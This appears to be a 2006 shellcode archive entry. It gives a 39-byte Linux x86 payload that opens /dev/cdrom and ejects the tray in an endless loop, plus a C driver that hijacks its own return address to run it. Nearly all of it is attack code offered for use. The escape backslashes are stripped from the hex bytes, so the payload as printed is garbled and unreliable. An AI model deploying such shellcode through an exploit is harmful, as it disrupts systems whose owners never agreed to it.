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# Title : linux/x86 24/7 open cd-rom loop (follows /dev/cdrom symlink) 39 bytes
# Published : 2006-01-21
# Author : izik
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/*
 * (linux/x86) 24/7 open cd-rom loop (follows "/dev/cdrom" symlink) - 39 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax05"              // push $0x5 
	"x58"                  // pop %eax 
	"x31xc9"              // xor %ecx,%ecx 
	"x51"                  // push %ecx 
	"xb5x08"              // mov $0x8,%ch 
	"x68x64x72x6fx6d"  // push $0x6d6f7264 
	"x68x65x76x2fx63"  // push $0x632f7665 
	"x68x2fx2fx2fx64"  // push $0x642f2f2f 
	"x89xe3"              // mov %esp,%ebx 
	"xcdx80"              // int $0x80 
	"x89xc3"              // mov %eax,%ebx 
	"x66xb9x09x53"      // mov $0x5309,%cx 
	
	//
	// <_openit>:
	//

	"xb0x36"              // mov $0x36,%al 
	"xcdx80"              // int $0x80 
	"xebxfa";             // jmp <_openit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]